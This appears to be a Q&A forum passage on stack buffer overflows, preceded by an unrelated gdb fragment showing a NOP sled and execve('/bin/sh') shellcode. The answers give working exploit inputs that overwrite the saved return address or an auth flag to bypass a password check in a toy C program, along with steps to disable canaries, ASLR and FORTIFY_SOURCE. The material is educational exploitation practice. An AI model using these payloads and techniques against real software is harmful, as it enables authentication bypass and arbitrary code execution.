0x00000000004004aa <+4>: sub rsp,0x10
0x00000000004004ae <+8>: mov QWORD PTR [rbp-0x88],rdi
0x00000000004004b5 <+15>: mov DWORD PTR [rip+0x20046d],0x0 # 0x60092c <i>
0x00000000004004bf <+25>: jmp 0x4004f2 <cpy+76>
0x00000000004004c1 <+27>: mov eax,DWORD PTR [rip+0x200465] # 0x60092c <i>
0x00000000004004c7 <+33>: mov edx,DWORD PTR [rip+0x20045f] # 0x60092c <i>
0x00000000004004cd <+39>: movsxd rcx,edx
0x00000000004004d0 <+42>: mov rdx,QWORD PTR [rbp-0x88]
0x00000000004004d7 <+49>: add rdx,rcx
0x00000000004004da <+52>: movzx edx,BYTE PTR [rdx]
0x00000000004004dd <+55>: cdqe
0x00000000004004df <+57>: mov BYTE PTR [rbp+rax*1-0x80],dl
0x00000000004004e3 <+61>: mov eax,DWORD PTR [rip+0x200443] # 0x60092c <i>
0x00000000004004e9 <+67>: add eax,0x1
0x00000000004004ec <+70>: mov DWORD PTR [rip+0x20043a],eax # 0x60092c <i>
0x00000000004004f2 <+76>: mov eax,DWORD PTR [rip+0x200434] # 0x60092c <i>
0x00000000004004f8 <+82>: cmp eax,0x80
0x00000000004004fd <+87>: jle 0x4004c1 <cpy+27>
0x00000000004004ff <+89>: nop
=> 0x0000000000400500 <+90>: leave
0x0000000000400501 <+91>: ret
End of assembler dump.
Value of rbp after leave:
>>> ni
>>> p/x $rbp
$1 = 0x7fffffffd3c8
Execute till the end of main:
>>> ni
>>> ni
>>> ni
>>> disassemble
Dump of assembler code for function main:
0x0000000000400502 <+0>: push rbp
0x0000000000400503 <+1>: mov rbp,rsp
0x0000000000400506 <+4>: sub rsp,0x10
0x000000000040050a <+8>: mov DWORD PTR [rbp-0x4],edi
0x000000000040050d <+11>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000400511 <+15>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400515 <+19>: add rax,0x8
0x0000000000400519 <+23>: mov rax,QWORD PTR [rax]
0x000000000040051c <+26>: mov rdi,rax
0x000000000040051f <+29>: call 0x4004a6 <cpy>
0x0000000000400524 <+34>: mov eax,0x0
0x0000000000400529 <+39>: leave
=> 0x000000000040052a <+40>: ret
End of assembler dump.
>>> ni
Now we at #rsp - 8 and here is our jmp to shellcode:
>>> disassemble $rip,+2
Dump of assembler code from 0x7fffffffd3c8 to 0x7fffffffd3ca:
=> 0x00007fffffffd3c8: jmp 0x7fffffffd382
End of assembler dump.
And finally shellcode:
>>> ni
>>> disassemble $rip,+0x50
Dump of assembler code from 0x7fffffffd382 to 0x7fffffffd3d2:
=> 0x00007fffffffd382: nop
0x00007fffffffd383: nop
0x00007fffffffd384: nop
0x00007fffffffd385: nop
...
0x00007fffffffd3ab: xor rdi,rdi
0x00007fffffffd3ae: push rdi
0x00007fffffffd3af: push rdi
0x00007fffffffd3b0: pop rsi
0x00007fffffffd3b1: pop rdx
0x00007fffffffd3b2: movabs rdi,0x68732f6e69622f2f
0x00007fffffffd3bc: shr rdi,0x8
0x00007fffffffd3c0: push rdi
0x00007fffffffd3c1: push rsp
0x00007fffffffd3c2: pop rdi
0x00007fffffffd3c3: push 0x3b
0x00007fffffffd3c5: pop rax
0x00007fffffffd3c6: syscall
I am attempting to change the result of a function using a buffer overflow to change the results on the stack with the following code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_auth1(char *password)
{
char password_buffer[8];
int auth_flag = 0;
strcpy(password_buffer, password);
if (strcmp(password_buffer, "cup") == 0) {
auth_flag = 1;
}
return auth_flag;
}
int main(int argc, char **argv)
{
if (argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
int authenticated = check_auth1(argv[1]);
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
return 0;
}
I'm using gdb to analyse the stack and this is what I have:
0xbffff6d0: 0xbffff8e4 0x0000002f 0xbffff72c 0xb7fd0ff4
0xbffff6e0: 0x08048540 0x08049ff4 0x00000002 0x0804833d
0xbffff6f0: 0x00000000 0x00000000 0xbffff728 0x0804850f
0xbffff700: 0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225
0xbffff710: 0xb7fed280 0x00000000 0x08048549 0xb7fd0ff4
0xbffff720: 0x08048540 0x00000000 0x00000000 0xb7e444d3
0xbffff730: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858
0xbffff740: 0x00000000 0xbffff71c 0xbffff7d0 0x00000000
[1] $ebp 0xbffff6f8
[2] $esp 0xbffff6d0
[3] password 0xbffff700
[4] auth_flag 0xbffff6ec
[5] password_buffer 0xbffff6e4
0x080484ce <+0>: push %ebp
0x080484cf <+1>: mov %esp,%ebp
0x080484d1 <+3>: and $0xfffffff0,%esp
0x080484d4 <+6>: sub $0x20,%esp
0x080484d7 <+9>: cmpl $0x1,0x8(%ebp)
0x080484db <+13>: jg 0x80484ff <main+49>
0x080484dd <+15>: mov 0xc(%ebp),%eax
0x080484e0 <+18>: mov (%eax),%edx
0x080484e2 <+20>: mov $0x8048614,%eax
0x080484e7 <+25>: mov %edx,0x4(%esp)
0x080484eb <+29>: mov %eax,(%esp)
0x080484ee <+32>: call 0x8048360 <printf#plt>
0x080484f3 <+37>: movl $0x0,(%esp)
0x080484fa <+44>: call 0x80483a0 <exit#plt>
0x080484ff <+49>: mov 0xc(%ebp),%eax
0x08048502 <+52>: add $0x4,%eax
0x08048505 <+55>: mov (%eax),%eax
0x08048507 <+57>: mov %eax,(%esp)
----------
IMPORTANT STUFF STARTS NOW
0x0804850a <+60>: call 0x8048474 <check_auth1>
0x0804850f <+65>: mov %eax,0x1c(%esp)
0x08048513 <+69>: cmpl $0x1,0x1c(%esp)
0x08048518 <+74>: je 0x8048528 <main+90>
I determined how far apart $ebp is from &password_buffer: 0xbffff6f8 - 0xbffff6e4 = 14 bytes
So with 14 'A' input, i.e. ./stackoverflowtest $(perl -e 'print "A" x 14') it should take me to "Allowed".
Where am I going wrong? What is the needed input to cause a overflow?
ASLR and gcc canaries are turned off.
check_auth1 assembly dump:
Dump of assembler code for function check_auth1:
0x08048474 <+0>: push %ebp
0x08048475 <+1>: mov %esp,%ebp
0x08048477 <+3>: push %edi
0x08048478 <+4>: push %esi
0x08048479 <+5>: sub $0x20,%esp
=> 0x0804847c <+8>: movl $0x0,-0xc(%ebp)
0x08048483 <+15>: mov 0x8(%ebp),%eax
0x08048486 <+18>: mov %eax,0x4(%esp)
0x0804848a <+22>: lea -0x14(%ebp),%eax
0x0804848d <+25>: mov %eax,(%esp)
0x08048490 <+28>: call 0x8048370 <strcpy#plt>
0x08048495 <+33>: lea -0x14(%ebp),%eax
0x08048498 <+36>: mov %eax,%edx
0x0804849a <+38>: mov $0x8048610,%eax
0x0804849f <+43>: mov $0x4,%ecx
0x080484a4 <+48>: mov %edx,%esi
0x080484a6 <+50>: mov %eax,%edi
0x080484a8 <+52>: repz cmpsb %es:(%edi),%ds:(%esi)
0x080484aa <+54>: seta %dl
0x080484ad <+57>: setb %al
0x080484b0 <+60>: mov %edx,%ecx
0x080484b2 <+62>: sub %al,%cl
0x080484b4 <+64>: mov %ecx,%eax
0x080484b6 <+66>: movsbl %al,%eax
0x080484b9 <+69>: test %eax,%eax
0x080484bb <+71>: jne 0x80484c4 <check_auth1+80>
0x080484bd <+73>: movl $0x1,-0xc(%ebp)
0x080484c4 <+80>: mov -0xc(%ebp),%eax
0x080484c7 <+83>: add $0x20,%esp
0x080484ca <+86>: pop %esi
0x080484cb <+87>: pop %edi
0x080484cc <+88>: pop %ebp
0x080484cd <+89>: ret
This is quite easy to exploit, here is the way to walk through.
First compile it with -g, it makes it easier to understand what you are doing. Then, our goal will be to rewrite the saved eip of check_auth1() and move it to the else-part of the test in the main() function.
$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9 int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
called by frame at 0xffffd320
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
We stopped at check_auth1() and displayed the stack frame. We saw that the saved eip is stored in the stack at 0xffffd2ec and contains 0x804853f.
Let see to what it does lead:
(gdb) disassemble main
Dump of assembler code for function main:
0x080484ff <+0>: push %ebp
0x08048500 <+1>: mov %esp,%ebp
0x08048502 <+3>: and $0xfffffff0,%esp
0x08048505 <+6>: sub $0x20,%esp
0x08048508 <+9>: cmpl $0x1,0x8(%ebp)
0x0804850c <+13>: jg 0x804852f <main+48>
0x0804850e <+15>: mov 0xc(%ebp),%eax
0x08048511 <+18>: mov (%eax),%eax
0x08048513 <+20>: mov %eax,0x4(%esp)
0x08048517 <+24>: movl $0x8048604,(%esp)
0x0804851e <+31>: call 0x8048360 <printf#plt>
0x08048523 <+36>: movl $0x0,(%esp)
0x0804852a <+43>: call 0x80483a0 <exit#plt>
0x0804852f <+48>: mov 0xc(%ebp),%eax
0x08048532 <+51>: add $0x4,%eax
0x08048535 <+54>: mov (%eax),%eax
0x08048537 <+56>: mov %eax,(%esp)
0x0804853a <+59>: call 0x80484bd <check_auth1>
0x0804853f <+64>: mov %eax,0x1c(%esp) <-- We jump here when returning
0x08048543 <+68>: cmpl $0x1,0x1c(%esp)
0x08048548 <+73>: je 0x8048558 <main+89>
0x0804854a <+75>: movl $0x804861a,(%esp)
0x08048551 <+82>: call 0x8048380 <puts#plt>
0x08048556 <+87>: jmp 0x8048564 <main+101>
0x08048558 <+89>: movl $0x8048627,(%esp) <-- We want to jump here
0x0804855f <+96>: call 0x8048380 <puts#plt>
0x08048564 <+101>: mov $0x0,%eax
0x08048569 <+106>: leave
0x0804856a <+107>: ret
End of assembler dump.
But the truth is that we want to avoid to go through the cmpl $0x1,0x1c(%esp) and go directly to the else-part of the test. Meaning that we want to jump to 0x08048558.
Anyway, lets first try to see if our 28 'A' are enough to rewrite the saved eip.
(gdb) next
10 strcpy(password_buffer, password);
(gdb) next
11 if (strcmp(password_buffer, "cup") == 0) {
Here, the strcpy did the overflow, so lets look at the stack-frame:
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
called by frame at 0xffffd2f4
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
Indeed, we rewrote the saved eip with 'A' (0x41 is the hexadecimal code for A). And, in fact, 28 is exactly what we need, not more. If we replace the four last bytes by the target address it will be okay.
One thing is that you need to reorder the bytes to take the little-endianess into account. So, 0x08048558 will become \x58\x85\x04\x08.
Finally, you will also need to write some meaningful address for the saved ebp value (not AAAA), so my trick is just to double the last address like this:
$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`
Note that there is no need to disable the ASLR, because you are jumping in the .text section (and this section do no move under the ASLR). But, you definitely need to disable canaries.
EDIT: I was wrong about replacing the saved ebp by our saved eip. In fact, if you do not give the right ebp you will hit a segfault when attempting to exit from main. This is because, we did set the saved ebp to somewhere in the .text section and, even if there is no problem when returning from check_auth1, the stack frame will be restored improperly when returning in the main function (the system will believe that the stack is located in the code). The result will be that the 4 bytes above the address pointed by the saved ebp we wrote (and pointing to the instructions) will be mistaken with the saved eip of main. So, either you disable the ASLR and write the correct address of the saved ebp (0xffffd330) which will lead to
$> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`
Or, you need to perform a ROP that will perform a clean exit(0) (which is usually quite easy to achieve).
you're checking against 1 exactly; change it to (the much more normal style for c programming)
if (! authenticated) {
and you'll see that it is working (or run it in gdb, or print out the flag value, and you'll see that the flag is being overwritten nicely, it's just not 1).
remember that an int is made of multiple chars. so setting a value of exactly 1 is hard, because many of those chars need to be zero (which is the string terminator). instead you are getting a value like 13363 (for the password 12345678901234).
[huh; valgrind doesn't complain even with the overflow.]
UPDATE
ok, here's how to do it with the code you have. we need a string with 13 characters, where the final character is ASCII 1. in bash:
> echo -n "123456789012" > foo
> echo $'\001' >> foo
> ./a.out `cat foo`
Allowed.
where i am using
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
also, i am relying on the compiler setting some unused bytes to zero (little endian; 13th byte is 1 14-16th are 0). it works with gcc bo.c but not with gcc -O3 bo.c.
the other answer here gets around this by walking on to the next place that can be overwritten usefully (i assumed you were targeting the auth_flag variable since you placed it directly after the password).
strcpy(password_buffer, password);
One of the things you will need to address during testing is this function call. If the program seg faults, then it could be because of FORTIFY_SOURCE. I'd like to say "crashes unexpectedly", but I don't think that applies here ;)
FORTIFY_SOURCE uses "safer" variants of high risk functions like memcpy and strcpy. The compiler uses the safer variants when it can deduce the destination buffer size. If the copy would exceed the destination buffer size, then the program calls abort().
To disable FORTIFY_SOURCE for your testing, you should compile the program with -U_FORTIFY_SOURCE or -D_FORTIFY_SOURCE=0.